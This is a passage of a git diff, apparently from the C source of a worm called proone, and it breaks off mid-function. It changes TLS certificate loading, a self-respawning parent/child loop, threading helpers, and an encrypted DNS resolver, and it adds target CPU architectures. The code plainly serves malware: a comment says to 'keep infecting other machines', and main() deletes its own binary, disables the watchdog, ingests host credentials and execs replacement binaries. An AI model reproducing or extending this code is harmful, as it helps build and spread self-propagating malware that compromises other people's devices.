MBEDTLS_SSL_PRESET_DEFAULT) == 0 && - mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, (const uint8_t*)PRNE_X509_S_CRT, sizeof(PRNE_X509_S_CRT) - 1) == 0 && - mbedtls_pk_parse_key(&prne_g.s_ssl.pk, (const uint8_t*)PRNE_X509_S_KEY, sizeof(PRNE_X509_S_KEY) - 1, NULL, 0) == 0 && - mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, (const uint8_t*)PRNE_X509_DH, sizeof(PRNE_X509_DH) - 1) == 0 && + mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, S_CRT, sizeof(S_CRT)) == 0 && + mbedtls_pk_parse_key(&prne_g.s_ssl.pk, S_KEY, sizeof(S_KEY), NULL, 0) == 0 && + mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, DH, sizeof(DH)) == 0 && mbedtls_ssl_conf_own_cert(&prne_g.s_ssl.conf, &prne_g.s_ssl.crt, &prne_g.s_ssl.pk) == 0 && mbedtls_ssl_conf_dh_param_ctx(&prne_g.s_ssl.conf, &prne_g.s_ssl.dhm) == 0; if (prne_g.s_ssl.ready) { @@ -366,8 +232,8 @@ static void load_ssl_conf (void) { prne_g.c_ssl.ready = mbedtls_ssl_config_defaults(&prne_g.c_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 && - mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, (const uint8_t*)PRNE_X509_C_CRT, sizeof(PRNE_X509_C_CRT) - 1) == 0 && - mbedtls_pk_parse_key(&prne_g.c_ssl.pk, (const uint8_t*)PRNE_X509_C_KEY, sizeof(PRNE_X509_C_KEY) - 1, NULL, 0) == 0 && + mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, C_CRT, sizeof(C_CRT)) == 0 && + mbedtls_pk_parse_key(&prne_g.c_ssl.pk, C_KEY, sizeof(C_KEY), NULL, 0) == 0 && mbedtls_ssl_conf_own_cert(&prne_g.c_ssl.conf, &prne_g.c_ssl.crt, &prne_g.c_ssl.pk) == 0; if (prne_g.c_ssl.ready) { mbedtls_ssl_conf_ca_chain(&prne_g.c_ssl.conf, &prne_g.ssl.ca, NULL); @@ -381,11 +247,17 @@ static void load_ssl_conf (void) { static void init_shared_global (void) { // just die on error - const size_t str_len = 1 + 30; + static const size_t str_len = 1 + 30; int fd; - char *name; - - name = prne_malloc(1, str_len + 1); + char name[str_len]; + + /* TODO + * 1. Try anonymous mmap() + * 2. Try opening /dev/zero + * 3. Try creating and opening /tmp/... + * 4. Try creating and opening random file in current wd + * 5. ... just don't use shared memory if all of these fail + */ name[0] = '/'; name[str_len] = 0; prne_rnd_anum_str(&prne_g.ssl.rnd, name + 1, str_len - 1); @@ -395,7 +267,6 @@ static void init_shared_global (void) { abort(); } shm_unlink(name); - prne_free(name); if (ftruncate(fd, sizeof(struct prne_shared_global)) < 0) { abort(); @@ -445,13 +316,21 @@ static void run_ny_bin (void) { int main (const int argc, char **args) { static int exit_code = 0; + static bool loop = true; + + sigemptyset(&ss_exit); + sigemptyset(&ss_all); + sigaddset(&ss_exit, SIGINT); + sigaddset(&ss_exit, SIGTERM); + sigaddset(&ss_all, SIGINT); + sigaddset(&ss_all, SIGTERM); + sigaddset(&ss_all, SIGCHLD); prne_g.host_cred_data = NULL; prne_g.host_cred_size = 0; - prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.parent_start)); + prne_g.parent_start = prne_gettime(CLOCK_MONOTONIC); prne_g.run_cnt = 0; prne_g.resolv = NULL; - prne_g.caught_signal = 0; prne_g.parent_pid = getpid(); prne_g.child_pid = 0; prne_g.lock_shm_fd = -1; @@ -483,15 +362,16 @@ int main (const int argc, char **args) { delete_myself(args[0]); disasble_watchdog(); - // load data from stdin - read_host_credential(); - read_bin_archive(); - if (!ensure_single_instance()) { + prne_dbgpf("*** ensure_single_instance() returned false."); exit_code = 1; goto END; } + setup_bin_archive(); + // load data from stdin + read_host_credential(); + // done with the terminal prne_close(STDIN_FILENO); prne_close(STDOUT_FILENO); @@ -499,17 +379,10 @@ int main (const int argc, char **args) { prne_close(STDERR_FILENO); #endif - if (pipe(int_pipe) == 0) { - prne_set_pipe_size(int_pipe[0], 1); - prne_ok_or_die(fcntl(int_pipe[0], F_SETFL, O_NONBLOCK)); - prne_ok_or_die(fcntl(int_pipe[1], F_SETFL, O_NONBLOCK)); - prne_ok_or_die(fcntl(int_pipe[0], F_SETFD, FD_CLOEXEC)); - prne_ok_or_die(fcntl(int_pipe[1], F_SETFD, FD_CLOEXEC)); - } - setup_signal_actions(); + sigprocmask(SIG_BLOCK, &ss_all, NULL); // main loop - while (prne_g.caught_signal == 0) { + while (loop) { prne_g.child_pid = fork(); if (prne_g.child_pid >= 0) { @@ -519,38 +392,43 @@ int main (const int argc, char **args) { if (prne_g.child_pid > 0) { static int status; static bool has_ny_bin; - - while (prne_g.caught_signal == 0) { - if (waitpid(prne_g.child_pid, &status, 0) < 0) { - if (errno != EINTR) { - abort(); - } - else { - continue; - } + static int caught_signal = 0; + + status = 0; // FIXME: libc bug? + + do { + prne_assert(sigwait(&ss_all, &caught_signal) == 0); + + switch (caught_signal) { + case SIGINT: + case SIGTERM: + // pass the signal to the child + loop = false; + sigprocmask(SIG_UNBLOCK, &ss_exit, NULL); + kill(prne_g.child_pid, caught_signal); + continue; + case SIGCHLD: + prne_assert(waitpid(prne_g.child_pid, &status, WNOHANG) == prne_g.child_pid); + break; } - break; - } + } while (false); has_ny_bin = strlen(prne_s_g->ny_bin_name) > 0; if (WIFEXITED(status)) { + prne_dbgpf("* child process %d exited with code %d!\n", prne_g.child_pid, WEXITSTATUS(status)); if (WEXITSTATUS(status) == 0) { if (has_ny_bin) { + prne_dbgpf("* detected new bin. Attempting to exec()\n"); run_ny_bin(); // run_ny_bin() returns if fails + prne_dbgperr("** run_ny_bin() failed"); } break; } - -#ifdef PRNE_DEBUG - fprintf(stderr, "* child process %d exited with code %d!\n", prne_g.child_pid, WEXITSTATUS(status)); -#endif } else if (WIFSIGNALED(status)) { -#ifdef PRNE_DEBUG - fprintf(stderr, "* child process %d received signal %d!\n", prne_g.child_pid, WTERMSIG(status)); -#endif + prne_dbgpf("** child process %d received signal %d!\n", prne_g.child_pid, WTERMSIG(status)); } if (has_ny_bin) { @@ -564,6 +442,7 @@ int main (const int argc, char **args) { prne_close(prne_g.lock_shm_fd); prne_g.lock_shm_fd = -1; prne_g.is_child = true; + prne_g.child_start = prne_gettime(CLOCK_MONOTONIC); exit_code = proone_main(); break; diff --git a/src/proone.h b/src/proone.h index d0cb48e..1516e56 100644 --- a/src/proone.h +++ b/src/proone.h @@ -1,5 +1,6 @@ +#pragma once #include "pack.h" -#include "resolv_worker.h" +#include "resolv.h" #include <stdint.h> #include <stdbool.h> @@ -20,8 +21,11 @@ struct prne_global { uint_fast64_t run_cnt; uint8_t boot_id[16]; uint8_t instance_id[16]; - prne_resolv_wkr_ctx_t resolv; - int caught_signal; + pth_t main_pth; + /* + * Could be NULL. Just keep infecting other machines without it. + */ + prne_resolv_t *resolv; pid_t parent_pid; pid_t child_pid; int lock_shm_fd; diff --git a/src/protocol.c b/src/protocol.c index 97259f4..56d6d90 100644 --- a/src/protocol.c +++ b/src/protocol.c @@ -33,6 +33,12 @@ const char *prne_arch_tostr (const prne_arch_t x) { return "ppc"; case PRNE_ARCH_SH4: return "sh4"; + case PRNE_ARCH_M68K: + return "m68k"; + case PRNE_ARCH_ARC: + return "arc"; + case PRNE_ARCH_ARCEB: + return "arceb"; } return NULL; diff --git a/src/protocol.h b/src/protocol.h index 4243336..2de0f97 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -7,7 +7,6 @@ #include <netinet/in.h> - typedef struct prne_net_endpoint prne_net_endpoint_t; typedef struct prne_ip_addr prne_ip_addr_t; typedef struct prne_host_cred prne_host_cred_t; @@ -29,6 +28,9 @@ typedef enum { PRNE_ARCH_MPSL, PRNE_ARCH_PPC, PRNE_ARCH_SH4, + PRNE_ARCH_M68K, + PRNE_ARCH_ARC, + PRNE_ARCH_ARCEB, NB_PRNE_ARCH } prne_arch_t; diff --git a/src/pth.c b/src/pth.c new file mode 100644 index 0000000..b727436 --- /dev/null +++ b/src/pth.c @@ -0,0 +1,116 @@ +#include <errno.h> + +#include "util_rt.h" +#include "pth.h" + + +void prne_init_worker (prne_worker_t *w) { + w->ctx = NULL; + w->entry = NULL; + w->fin = NULL; + w->free_ctx = NULL; + w->pth = NULL; +} + +void prne_free_worker (prne_worker_t *w) { + if (w->ctx != NULL) { + prne_assert(w->free_ctx != NULL); + w->free_ctx(w->ctx); + w->ctx = NULL; + } +} + +void prne_fin_worker (prne_worker_t *w) { + if (w->fin != NULL) { + w->fin(w->ctx); + } +} + +bool prne_pth_cv_notify (prne_pth_cv_t *cv) { + bool ret; + + if (pth_mutex_acquire(cv->lock, FALSE, NULL)) { + ret = pth_cond_notify(cv->cond, cv->broadcast) == 0; + prne_assert(pth_mutex_release(cv->lock)); + } + else { + ret = false; + } + + return ret; +} + +bool prne_pth_cond_timedwait (prne_pth_cv_t *cv, const struct timespec *timeout, bool *to_reached) { + pth_event_t ev; + bool ret, reached; + + if (timeout != NULL) { + ev = pth_event(PTH_EVENT_TIME, pth_timeout(timeout->tv_sec, timeout->tv_nsec / 1000)); + if (ev == NULL) { + return -1; + } + } + else { + ev = NULL; + } + + if (pth_mutex_acquire(cv->lock, FALSE, NULL)) { + ret = pth_cond_await(cv->cond, cv->lock, ev); + prne_assert(pth_mutex_release(cv->lock)); + } + else { + ret = false; + } + + if (ev != NULL && pth_event_occurred(ev)) { + ret = true; + reached = true; + } + else { + reached = false; + } + + if (to_reached != NULL) { + *to_reached = reached; + } + + pth_event_free(ev, FALSE); + return ret; +} + +int prne_unint_pth_poll (struct pollfd *fds, nfds_t nfds, const struct timespec *timeout) { + pth_event_t ev; + int ret; + + if (timeout != NULL) { + ev = pth_event(PTH_EVENT_TIME, pth_timeout(timeout->tv_sec, timeout->tv_nsec / 1000)); + if (ev == NULL) { + return -1; + } + } + else { + ev = NULL; + } + + do { + ret = pth_poll_ev(fds, nfds, -1, ev); + if (ev != NULL && pth_event_occurred(ev)) { + ret = 0; + break; + } + if (ret < 0 && errno == EINTR) { + continue; + } + } while (false); + + pth_event_free(ev, FALSE); + return ret; +} + +void prne_unint_pth_nanosleep (struct timespec dur) { + struct timespec rem; + + while (pth_nanosleep(&dur, &rem) < 0 && errno == EINTR) { + dur = rem; + } +} diff --git a/src/pth.h b/src/pth.h new file mode 100644 index 0000000..172e6cf --- /dev/null +++ b/src/pth.h @@ -0,0 +1,31 @@ +#pragma once +#include <stdbool.h> + +#include <pthsem.h> + + +struct prne_worker { + void *ctx; + void *(*entry)(void*); + void (*fin)(void*); + void (*free_ctx)(void*); + pth_t pth; +}; +typedef struct prne_worker prne_worker_t; + +struct prne_pth_cv { + pth_mutex_t *lock; + pth_cond_t *cond; + bool broadcast; +}; +typedef struct prne_pth_cv prne_pth_cv_t; + + +void prne_init_worker (prne_worker_t *w); +void prne_free_worker (prne_worker_t *w); +void prne_fin_worker (prne_worker_t *w); + +bool prne_pth_cv_notify (prne_pth_cv_t *cv); +bool prne_pth_cond_timedwait (prne_pth_cv_t *cv, const struct timespec *timeout, bool *to_reached); +int prne_unint_pth_poll (struct pollfd *fds, nfds_t nfds, const struct timespec *timeout); +void prne_unint_pth_nanosleep (struct timespec dur); diff --git a/src/resolv_worker.c b/src/resolv.c index 72c3cb0..aa18f76 100644 --- a/src/resolv_worker.c +++ b/src/resolv.c @@ -1,4 +1,4 @@ -#include "resolv_worker.h" +#include "resolv.h" #include "util_rt.h" #include "util_ct.h" #include "llist.h" @@ -10,17 +10,18 @@ #include <stdlib.h> #include <string.h> #include <assert.h> +#include <time.h> #include <errno.h> #include <unistd.h> #include <fcntl.h> -#include <sys/random.h> #include <sys/socket.h> -#include <sys/ioctl.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netinet/tcp.h> +#include <sys/poll.h> +#include <pthsem.h> #include <mbedtls/ssl.h> #include <mbedtls/ctr_drbg.h> @@ -29,52 +30,39 @@ _Static_assert(sizeof(uint_fast16_t) <= sizeof(prne_imap_key_type_t), "prne_imap #define OK_OR_ERR(v) if (v < 0) { goto ERR; } typedef enum { - RESOLV_WKR_STATE_OK, - RESOLV_WKR_STATE_FIN_CALLED, - RESOLV_WKR_STATE_FINALISED, -} resolv_wkr_state_t; - -typedef enum { - RESOLV_CTX_STATE_NONE, - RESOLV_CTX_STATE_CONN, - RESOLV_CTX_STATE_HNDSHK, - RESOLV_CTX_STATE_READY, - RESOLV_CTX_STATE_CLOSING, + RESOLV_CTX_STATE_OK, + RESOLV_CTX_STATE_FIN_CALLED, + RESOLV_CTX_STATE_FINALISED, } resolv_ctx_state_t; typedef struct { prne_net_endpoint_t *arr; size_t cnt; - size_t ptr; + bool ownership; } resolv_dnssrv_pool_t; typedef struct { - prne_resolv_wkr_ctx_t wkr; + prne_resolv_t *owner; prne_llist_entry_t *qlist_ent; char *qname; size_t qname_size; - int evtfd[2]; - prne_wkr_timeout_slot_pt to_slot; + prne_pth_cv_t *cv; uint_fast16_t qid; // 0 reserved prne_resolv_fut_t fut; prne_ipv_t ipv; prne_resolv_query_type_t type; + struct timespec tp_queued; } query_entry_t; -struct prne_resolv_wkr_ctx { - int dnss_fd[2]; - int evtfd[2]; +struct prne_resolv { size_t read_cnt_len; size_t write_cnt_len; - prne_wkr_sched_req_t *wsr; - prne_wkr_timeout_slot_pt sckop_to_slot; - prne_wkr_timeout_slot_pt err_to_slot; - prne_wkr_pollfd_slot_pt evt_pfd_slot; - prne_wkr_pollfd_slot_pt sck_pfd_slot[2]; - int act_dns_fd; + struct pollfd act_sck_pfd; + size_t ptr_dnssrv4, ptr_dnssrv6; resolv_dnssrv_pool_t dnssrv_4, dnssrv_6; + pth_mutex_t lock; + pth_cond_t cond; resolv_ctx_state_t ctx_state; - resolv_wkr_state_t wkr_state; uint8_t write_buf[514]; uint8_t read_buf[514]; prne_llist_t qlist; @@ -86,22 +74,60 @@ struct prne_resolv_wkr_ctx { } ssl; }; -#define DECL_CTX_PTR(p) prne_resolv_wkr_ctx_t ctx = (prne_resolv_wkr_ctx_t)p +#define DECL_CTX_PTR(p) prne_resolv_t *ctx = (prne_resolv_t*)p static const struct timespec RESOLV_RSRC_ERR_PAUSE = { 1, 0 }; // 1s -static const struct timespec RESOLV_CONN_ERR_PAUSE = { 0, 100000000 }; // 100ms +static const struct timespec RESOLV_CONN_ERR_PAUSE = { 0, 100 }; // 100ms static const struct timespec RESOLV_QUERY_TIMEOUT = { 15, 0 }; // 15s static const struct timespec RESOLV_SCK_OP_TIMEOUT = { 10, 0 }; // 10s static const struct timespec RESOLV_SCK_IDLE_TIMEOUT = { 15, 0 }; // 15s static const struct timespec RESOLV_SCK_CLOSE_TIMEOUT = { 1, 0 }; // 1s static const size_t RESOLV_PIPELINE_SIZE = 4; -static bool resolv_wkr_has_finalised (void *p) { - DECL_CTX_PTR(p); - return ctx->wkr_state == RESOLV_WKR_STATE_FINALISED; -} +static prne_net_endpoint_t DEF_IPV4_EP[] = { + // Google + { { { 0x8, 0x8, 0x8, 0x8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 }, + { { { 0x8, 0x8, 0x4, 0x4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 }, + // Cloudflare + { { { 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 }, + { { { 0x1, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 }, + // Quad9 + { { { 0x9, 0x9, 0x9, 0xa, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 }, + { { { 0x95, 0x70, 0x70, 0xa, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 }, + // CleanBrowsing + { { { 0xb9, 0xe4, 0xa8, 0x9, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 }, + { { { 0xb9, 0xe4, 0xa9, 0x9, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 } +}; + +static resolv_dnssrv_pool_t RESOLV_DEF_IPV4_POOL = { + DEF_IPV4_EP, + sizeof(DEF_IPV4_EP)/sizeof(prne_net_endpoint_t), + false +}; + +static prne_net_endpoint_t DEF_IPV6_EP[] = { + // Google + { { { 0x20, 0x1, 0x48, 0x60, 0x48, 0x60, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x88, 0x88 }, PRNE_IPV_6 }, 853 }, + { { { 0x20, 0x1, 0x48, 0x60, 0x48, 0x60, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x88, 0x44 }, PRNE_IPV_6 }, 853 }, + // Cloudflare + { { { 0x26, 0x6, 0x47, 0x0, 0x47, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x11, 0x11 }, PRNE_IPV_6 }, 853 }, + { { { 0x26, 0x6, 0x47, 0x0, 0x47, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x10, 0x1 }, PRNE_IPV_6 }, 853 }, + // Quad9 + { { { 0x26, 0x20, 0x0, 0xfe, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xfe }, PRNE_IPV_6 }, 853 }, + { { { 0x26, 0x20, 0x0, 0xfe, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x9 }, PRNE_IPV_6 }, 853 }, + // CleanBrowsing + { { { 0x2a, 0xd, 0x2a, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2 }, PRNE_IPV_6 }, 853 }, + { { { 0x2a, 0xd, 0x2a, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2 }, PRNE_IPV_6 }, 853 } +}; + +static resolv_dnssrv_pool_t RESOLV_DEF_IPV6_POOL = { + DEF_IPV6_EP, + sizeof(DEF_IPV6_EP)/sizeof(prne_net_endpoint_t), + false +}; static int resolv_set_cmn_fd_opt (const int fd) { + // TODO: no FD_CLOEXEC return fcntl(fd, F_SETFL, O_NONBLOCK) == 0 ? fcntl(fd, F_SETFD, FD_CLOEXEC) : -1; } @@ -112,9 +138,6 @@ static void resolv_free_q_ent (query_entry_t *q_ent) { prne_free(q_ent->qname); prne_free_resolv_fut(&q_ent->fut); - prne_close(q_ent->evtfd[0]); - prne_close(q_ent->evtfd[1]); - prne_free_wkr_timeout_slot(q_ent->to_slot); prne_free(q_ent); } @@ -215,10 +238,10 @@ ERR: return NULL; } -static bool resolv_qq (prne_resolv_wkr_ctx_t wkr, const char *name, prne_resolv_prm_t *out, const struct timespec *timeout, query_entry_t **ny_q_ent) { +static bool resolv_qq (prne_resolv_t *ctx, const char *name, prne_pth_cv_t *cv, prne_resolv_prm_t *out, query_entry_t **ny_q_ent) { query_entry_t *q_ent = NULL; - if (resolv_wkr_has_finalised(wkr)) { + if (ctx->ctx_state != RESOLV_CTX_STATE_OK) { errno = ECANCELED; return false; } @@ -227,12 +250,11 @@ static bool resolv_qq (prne_resolv_wkr_ctx_t wkr, const char *name, prne_resolv_ if (q_ent == NULL) { goto ERR; } - q_ent->wkr = wkr; + q_ent->owner = ctx; q_ent->qlist_ent = NULL; q_ent->qname = NULL; q_ent->qname_size = 0; - q_ent->evtfd[0] = q_ent->evtfd[1] = -1; - q_ent->to_slot = NULL; + q_ent->cv = cv; q_ent->qid = 0; q_ent->ipv = PRNE_IPV_NONE; prne_init_resolv_fut(&q_ent->fut); @@ -241,39 +263,24 @@ static bool resolv_qq (prne_resolv_wkr_ctx_t wkr, const char *name, prne_resolv_ goto ERR; } - q_ent->qlist_ent = prne_llist_append(&wkr->qlist, q_ent); + prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); + q_ent->qlist_ent = prne_llist_append(&ctx->qlist, q_ent); if (q_ent->qlist_ent == NULL) { goto ERR; } - - OK_OR_ERR(pipe(q_ent->evtfd)); - prne_set_pipe_size(q_ent->evtfd[0], 1); - OK_OR_ERR(resolv_set_cmn_fd_opt(q_ent->evtfd[0])); - OK_OR_ERR(resolv_set_cmn_fd_opt(q_ent->evtfd[1])); - - if (write(wkr->evtfd[1], &q_ent, 1) < 0) { - prne_die_not_nonblock_err(); - } - - q_ent->to_slot = prne_alloc_wkr_timeout_slot(wkr->wsr); - if (q_ent == NULL) { - goto ERR; - } - q_ent->to_slot->active = true; - q_ent->to_slot->dur = RESOLV_QUERY_TIMEOUT; + q_ent->tp_queued = prne_gettime(CLOCK_MONOTONIC); + pth_cond_notify(&ctx->cond, FALSE); + prne_assert(pth_mutex_release(&ctx->lock)); out->ctx = q_ent; out->fut = &q_ent->fut; - out->evtfd = q_ent->evtfd[0]; *ny_q_ent = q_ent; return true; ERR: if (q_ent != NULL) { - prne_llist_erase(&wkr->qlist, q_ent->qlist_ent); + prne_llist_erase(&ctx->qlist, q_ent->qlist_ent); prne_free(q_ent->qname); - prne_close(q_ent->evtfd[0]); - prne_close(q_ent->evtfd[1]); prne_free(q_ent); } @@ -282,60 +289,28 @@ ERR: } static void resolv_disown_qent (query_entry_t *qent) { - uint8_t rubbish = 0; - - prne_free_wkr_timeout_slot(qent->to_slot); - qent->to_slot = NULL; - qent->wkr = NULL; + qent->owner = NULL; qent->qlist_ent = NULL; qent->qid = 0; - - if (write(qent->evtfd[1], &rubbish, 1) < 0) { - prne_die_not_nonblock_err(); + if (qent->cv != NULL) { + prne_pth_cv_notify(qent->cv); } } -#if 0 -static void resolv_disown_all_qent (prne_resolv_wkr_ctx_t ctx) { - query_entry_t *qent; - prne_llist_entry_t *cur; - size_t i; - - cur = ctx->qlist.head; - while (cur != NULL) { - qent = (query_entry_t*)cur->element; - qent->fut.qr = PRNE_RESOLV_QR_FIN; - resolv_disown_qent(qent); - cur = cur->next; - } - - for (i = 0; i < ctx->qid_map.size; i += 1) { - qent = (query_entry_t*)ctx->qid_map.tbl[i].val; - qent->fut.qr = PRNE_RESOLV_QR_FIN; - resolv_disown_qent(qent); - } - - prne_llist_clear(&ctx->qlist); - prne_imap_clear(&ctx->qid_map); -} -#endif - -static size_t resolv_next_pool_ptr (prne_resolv_wkr_ctx_t ctx, const size_t cnt) { +static size_t resolv_next_pool_ptr (prne_resolv_t *ctx, const size_t cnt) { size_t ret = 0; - if (mbedtls_ctr_drbg_random(ctx->ssl.ctr_drbg, (unsigned char*)&ret, sizeof(size_t)) != 0) { - abort(); - } + prne_assert(mbedtls_ctr_drbg_random(ctx->ssl.ctr_drbg, (unsigned char*)&ret, sizeof(size_t)) == 0); + return ret % cnt; } -static uint16_t resolv_next_qid (prne_resolv_wkr_ctx_t ctx) { - uint16_t i, ret; +static uint16_t resolv_next_qid (prne_resolv_t *ctx) { + uint16_t ret; + + for (uint_fast16_t i = 0; i < UINT16_MAX; i += 1) { + prne_assert(mbedtls_ctr_drbg_random(ctx->ssl.ctr_drbg, (unsigned char*)&ret, sizeof(uint16_t)) == 0); - for (i = 0; i < UINT16_MAX; i += 1) { - if (mbedtls_ctr_drbg_random(ctx->ssl.ctr_drbg, (unsigned char*)&ret, sizeof(uint16_t)) != 0) { - abort(); - } ret = (ret % UINT16_MAX) + 1; if (prne_imap_lookup(&ctx->qid_map, ret) == NULL) { return ret; @@ -345,7 +320,7 @@ static uint16_t resolv_next_qid (prne_resolv_wkr_ctx_t ctx) { return 0; } -static void resolv_close_sck (prne_resolv_wkr_ctx_t ctx, const struct timespec *pause, bool change_srvr) { +static void resolv_close_sck (prne_resolv_t *ctx, const struct timespec *pause, bool change_srvr) { // TODO: take errno as param size_t i; query_entry_t *qent; prne_llist_entry_t *lent; @@ -370,190 +345,179 @@ static void resolv_close_sck (prne_resolv_wkr_ctx_t ctx, const struct timespec * } prne_imap_clear(&ctx->qid_map); - prne_shutdown(ctx->dnss_fd[0], SHUT_RDWR); - prne_shutdown(ctx->dnss_fd[1], SHUT_RDWR); - prne_shutdown(ctx->act_dns_fd, SHUT_RDWR); - prne_close(ctx->dnss_fd[0]); - prne_close(ctx->dnss_fd[1]); - prne_close(ctx->act_dns_fd); - ctx->dnss_fd[0] = ctx->dnss_fd[1] = ctx->act_dns_fd = -1; + prne_shutdown(ctx->act_sck_pfd.fd, SHUT_RDWR); + prne_close(ctx->act_sck_pfd.fd); + ctx->act_sck_pfd.fd = -1; ctx->read_cnt_len = 0; ctx->write_cnt_len = 0; - ctx->sckop_to_slot->active = false; - ctx->sck_pfd_slot[0]->pfd.fd = ctx->sck_pfd_slot[1]->pfd.fd = -1; - ctx->ctx_state = RESOLV_CTX_STATE_NONE; mbedtls_ssl_free(&ctx->ssl.ctx); mbedtls_ssl_init(&ctx->ssl.ctx); if (pause != NULL) { - ctx->err_to_slot->active = true; - ctx->err_to_slot->dur = *pause; + prne_unint_pth_nanosleep(*pause); } if (change_srvr) { - ctx->dnssrv_4.ptr = resolv_next_pool_ptr(ctx, ctx->dnssrv_4.cnt); - ctx->dnssrv_6.ptr = resolv_next_pool_ptr(ctx, ctx->dnssrv_6.cnt); + ctx->ptr_dnssrv4 = resolv_next_pool_ptr(ctx, ctx->dnssrv_4.cnt); + ctx->ptr_dnssrv6 = resolv_next_pool_ptr(ctx, ctx->dnssrv_6.cnt); } } -static bool resolv_ensure_conn (prne_resolv_wkr_ctx_t ctx) { +static bool resolv_ensure_act_dns_fd (prne_resolv_t *ctx) { + static const int ov_nodelay = 1; + static socklen_t optval_len = sizeof(int); size_t i; + struct pollfd pfs[2]; + int optval, pollret; + const struct timespec *err_sleep = NULL; + bool ret = false; - switch (ctx->ctx_state) { - case RESOLV_CTX_STATE_NONE: { - int optval = 1; - - ctx->dnss_fd[0] = socket(AF_INET6, SOCK_STREAM, 0); - ctx->dnss_fd[1] = socket(AF_INET, SOCK_STREAM, 0); - if (ctx->dnss_fd[0] >= 0) { - setsockopt(ctx->dnss_fd[0], SOL_TCP, TCP_NODELAY, &optval, sizeof(int)); - if (resolv_set_cmn_fd_opt(ctx->dnss_fd[0]) < 0) { - prne_close(ctx->dnss_fd[0]); - ctx->dnss_fd[0] = -1; - } - else { - struct sockaddr_in6 addr; - - memzero(&addr, sizeof(addr)); - prne_net_ep_tosin6(ctx->dnssrv_6.arr + ctx->dnssrv_6.ptr, &addr); - connect(ctx->dnss_fd[0], (const struct sockaddr*)&addr, sizeof(addr)); - } + pfs[0].fd = socket(AF_INET6, SOCK_STREAM, 0); + pfs[1].fd = socket(AF_INET, SOCK_STREAM, 0); + pfs[0].events = POLLOUT; + pfs[1].events = POLLOUT; + if (pfs[0].fd >= 0) { + setsockopt(pfs[0].fd, SOL_TCP, TCP_NODELAY, &ov_nodelay, sizeof(int)); + if (resolv_set_cmn_fd_opt(pfs[0].fd) < 0) { + prne_close(pfs[0].fd); + pfs[0].fd = -1; } - if (ctx->dnss_fd[1] >= 0) { - setsockopt(ctx->dnss_fd[1], SOL_TCP, TCP_NODELAY, &optval, sizeof(int)); - if (resolv_set_cmn_fd_opt(ctx->dnss_fd[1]) < 0) { - prne_close(ctx->dnss_fd[1]); - ctx->dnss_fd[1] = -1; - } - else { - struct sockaddr_in addr; + else { + struct sockaddr_in6 addr; - memzero(&addr, sizeof(addr)); - prne_net_ep_tosin4(ctx->dnssrv_4.arr + ctx->dnssrv_4.ptr, &addr); - connect(ctx->dnss_fd[1], (const struct sockaddr*)&addr, sizeof(addr)); + memzero(&addr, sizeof(addr)); + prne_net_ep_tosin6(ctx->dnssrv_6.arr + ctx->ptr_dnssrv4, &addr); + if (connect(pfs[0].fd, (const struct sockaddr*)&addr, sizeof(addr)) < 0 && errno != EINPROGRESS) { + prne_close(pfs[0].fd); + pfs[0].fd = -1; } } - - if (ctx->dnss_fd[0] < 0 && ctx->dnss_fd[1] < 0) { - ctx->err_to_slot->active = true; - ctx->err_to_slot->dur = RESOLV_RSRC_ERR_PAUSE; - ctx->sckop_to_slot->active = false; + } + if (pfs[1].fd >= 0) { + setsockopt(pfs[1].fd, SOL_TCP, TCP_NODELAY, &ov_nodelay, sizeof(int)); + if (resolv_set_cmn_fd_opt(pfs[1].fd) < 0) { + prne_close(pfs[1].fd); + pfs[1].fd = -1; } else { - ctx->sckop_to_slot->active = true; - ctx->sckop_to_slot->dur = RESOLV_SCK_OP_TIMEOUT; - for (i = 0; i < 2; i += 1) { - ctx->sck_pfd_slot[i]->pfd.fd = ctx->dnss_fd[i]; - ctx->sck_pfd_slot[i]->pfd.events = POLLIN | POLLOUT; - } - - ctx->ctx_state = RESOLV_CTX_STATE_CONN; - } + struct sockaddr_in addr; - return 